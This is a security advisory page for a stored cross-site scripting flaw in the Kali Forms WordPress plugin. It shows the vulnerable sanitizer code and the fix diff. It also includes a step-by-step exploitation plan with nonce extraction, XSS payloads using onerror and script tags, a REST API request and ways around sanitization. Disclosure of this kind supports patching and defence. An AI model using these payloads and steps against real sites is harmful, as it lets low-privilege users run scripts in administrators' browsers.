Kali Forms <= 2.4.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'kaliforms_field_components' Parameter
Description
The Kali Forms — Contact Form & Drag-and-Drop Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'meta[kaliforms_field_components]' parameter in all versions up to, and including, 2.4.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.4.14
Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit **CVE-2026-9107**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Kali Forms** plugin for WordPress. --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS). * **Location:** `Inc/Backen…
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2026-9107, a Stored Cross-Site Scripting (XSS) vulnerability in the Kali Forms plugin for WordPress.
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS).
- Location:
Inc/Backend/class-sanitizers.phpwithin thesanitize_field_componentsandsanitize_properties_objectfunctions. - Cause: The plugin fails to adequately sanitize or escape JSON-encoded form field configuration data (specifically the
kaliforms_field_componentsmeta) before storing it in the database and rendering it in the backend form builder. - Impact: An attacker with Contributor-level access can inject malicious scripts into form configurations. These scripts execute in the context of any user (including Administrators) who opens the form for editing in the backend.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (likely via
Forms_Rest_Controller) oradmin-ajax.php. - Authentication: Required (Contributor-level or higher).
- Vulnerable Parameter:
meta[kaliforms_field_components](or a parameter mapping to this meta key). - Payload Type: JSON-encoded array containing HTML/JS injection in field properties or labels.
3. Code Flow
- Entry Point: The form builder sends a request to save form data. This likely hits
Inc/Backend/Rest/Forms_Rest_Controller.php(registered inInc/class-kaliforms.php). - Sanitization: The data passes through
Inc/Backend/class-sanitizers.php.sanitize_field_components($input)decodes the JSON.sanitize_field_component($item)callssanitize_properties_object.- Vulnerability: In
sanitize_properties_object, while specific keys likepriceorproductsare sanitized, others may be stored with insufficient filtering or thesanitize_text_fieldapplication is bypassed through complex object nesting.
- Storage: The sanitized data is stored via
wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT)). - Retrieval & Rendering:
Inc/Backend/class-js-vars.phpretrieves the meta:$this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT);.- The data is localized into the
kaliforms_vars(or similar) JS object. - The React-based backend builder renders these components. If a component label or property is rendered using
dangerouslySetInnerHTMLor similar unescaped methods, the XSS triggers.
4. Nonce Acquisition Strategy
The plugin uses a nonce for its backend operations.
- Action String:
kaliforms_nonce(defined inJS_Varsas$this->slug . '_nonce'). - JS Variable:
kaliforms_vars(inferred from class and slug names). - Nonce Key:
ajax_nonce.
Acquisition Steps:
- Create a form as a Contributor to ensure the builder scripts are active.
- Navigate to the Kali Forms editor:
/wp-admin/edit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID]. - Execute in browser:
browser_eval("window.kaliforms_vars?.ajax_nonce").
5. Test Data Setup
- User: Create a user with the
contributorrole. - Form: Create a new form using Kali Forms.
wp post create --post_type=kaliforms_forms --post_title="XSS Test Form" --post_status=publish --post_author=[CONTRIBUTOR_ID]
- Identify Post ID: Note the ID of the created form.
6. Exploitation Strategy
Step 1: Obtain the Nonce
Use the browser_navigate tool to go to the Kali Forms admin list or builder page as the contributor. Extract the nonce from kaliforms_vars.
Step 2: Prepare Payload
The payload must be a JSON array representing the field components. We will target the label or a property that might be rendered without escaping.
[
{
"id": "text",
"internalId": "text_field_1",
"label": "First Name <img src=x onerror=alert(document.domain)>",
"properties": {
"placeholder": "Enter name",
"description": "<script>alert('DescriptionXSS')</script>"
},
"constraint": "none"
}
]
Step 3: Submit the Injection
Send a POST request to the REST API endpoint (verify the exact route in Forms_Rest_Controller.php, likely /wp-json/kf/v1/forms/[ID]).
- URL:
http://[TARGET]/wp-json/kf/v1/forms/[FORM_ID] - Method:
POST(orPUTdepending on REST implementation) - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"field_components": "[{\"id\":\"text\",\"label\":\"<img src=x onerror=alert(1)>\",\"properties\":{\"placeholder\":\"test\"}}]"
}
7. Expected Results
- The REST API returns a
200 OKor201 Createdresponse. - The
kaliforms_field_componentsentry in thewp_postmetatable for the specific Form ID now contains the unescaped<img src=x onerror=alert(1)>string. - When an Administrator logs in and navigates to the Kali Forms builder for that specific form, the browser executes
alert(1).
8. Verification Steps
- Check Database Meta:
wp post meta get [FORM_ID] kaliforms_field_components
Confirm the payload is stored literally without being stripped toFirst Name. - Verify Execution:
Usebrowser_navigateas an Administrator to the form builder page:/wp-admin/edit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID]
Observe if thealertoronerrorevent triggers.
9. Alternative Approaches
If the REST API is restricted:
- AJAX Entry Point: Look for
wp_ajax_kaliforms_save_forminInc/Backend/Hooks.php. - Payload Variation: If
labelis sanitized bysanitize_text_field, inject intoproperties(e.g.,placeholderor a custom property key) whichsanitize_properties_objectmight iterate over without specific sanitization logic. - JSON Encoding: The plugin uses
JSON_HEX_QUOT. Attempt to bypass sanitization by using Unicode escapes (e.g.,\u003cimg ... \u003e) if the PHPjson_decodehandles them but the regex-based sanitizers do not.
Summary
The Kali Forms plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'kaliforms_field_components' parameter in versions up to 2.4.13. This occurs because the plugin does not sufficiently sanitize or escape JSON-encoded form field configuration data before storing it in the database and rendering it in the backend form builder, allowing users with contributor-level permissions or higher to inject malicious scripts.
Vulnerable Code
// Inc/Backend/class-sanitizers.php @ 2.4.13 /** * @param $input * * @return false|string */ public static function sanitize_field_components($input) { $input = json_decode(stripslashes($input)); if (null === $input) { return wp_json_encode([]); } $sanitized = []; foreach ($input as $field) { $sanitized[] = Sanitizers::sanitize_field_component($field); } return wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT)); } --- // Inc/Backend/class-sanitizers.php @ 2.4.13 /** * @param $item * * @return \stdClass */ public static function sanitize_field_component($item) { $fieldItem = new \stdClass(); $fieldItem->id = sanitize_text_field($item->id); $fieldItem->internalId = sanitize_key($item->internalId); $fieldItem->label = sanitize_text_field($item->label); $fieldItem->properties = Sanitizers::sanitize_properties_object($item->properties, $item->id); $fieldItem->constraint = empty($item->constraint) ? 'none' : absint($item->constraint); return $fieldItem; }
Security Fix
@@ -109,11 +109,16 @@ /** * Grid content */ - $this->content['grid'] = json_decode($this->get('grid', '[]')); + $this->content['grid'] = Sanitizers::decode_json_meta($this->get('grid', '[]')); /** * Field components saved in the database */ - $this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT); + $this->content['fieldComponents'] = Sanitizers::decode_json_meta( + $this->get('field_components', '[]'), + false, + 512, + JSON_HEX_QUOT + ); /** * Form Info Fields */ @@ -207,8 +450,8 @@ */ public static function sanitize_field_components($input) { - $input = json_decode(stripslashes($input)); - if (null === $input) { + $input = self::decode_json_meta($input); + if (! is_array($input)) { return wp_json_encode([]); } @@ -217,7 +460,7 @@ $sanitized[] = Sanitizers::sanitize_field_component($field); } - return wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT)); + return wp_json_encode($sanitized, JSON_HEX_QUOT); }
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access or higher must obtain a valid security nonce from the Kali Forms backend builder interface (available in the 'kaliforms_vars' JavaScript object). Using this nonce, the attacker makes a POST request to the plugin's REST API endpoint (typically `/wp-json/kf/v1/forms/{ID}`) to update form data. The payload is placed inside the 'field_components' parameter as a JSON array representing form fields. By including malicious scripts in unvalidated properties (such as placeholders or descriptions within the 'properties' object), the attacker stores the XSS in the database. The script executes when an administrator or other backend user opens the form builder for the affected form, as the React-based frontend renders these properties without adequate escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.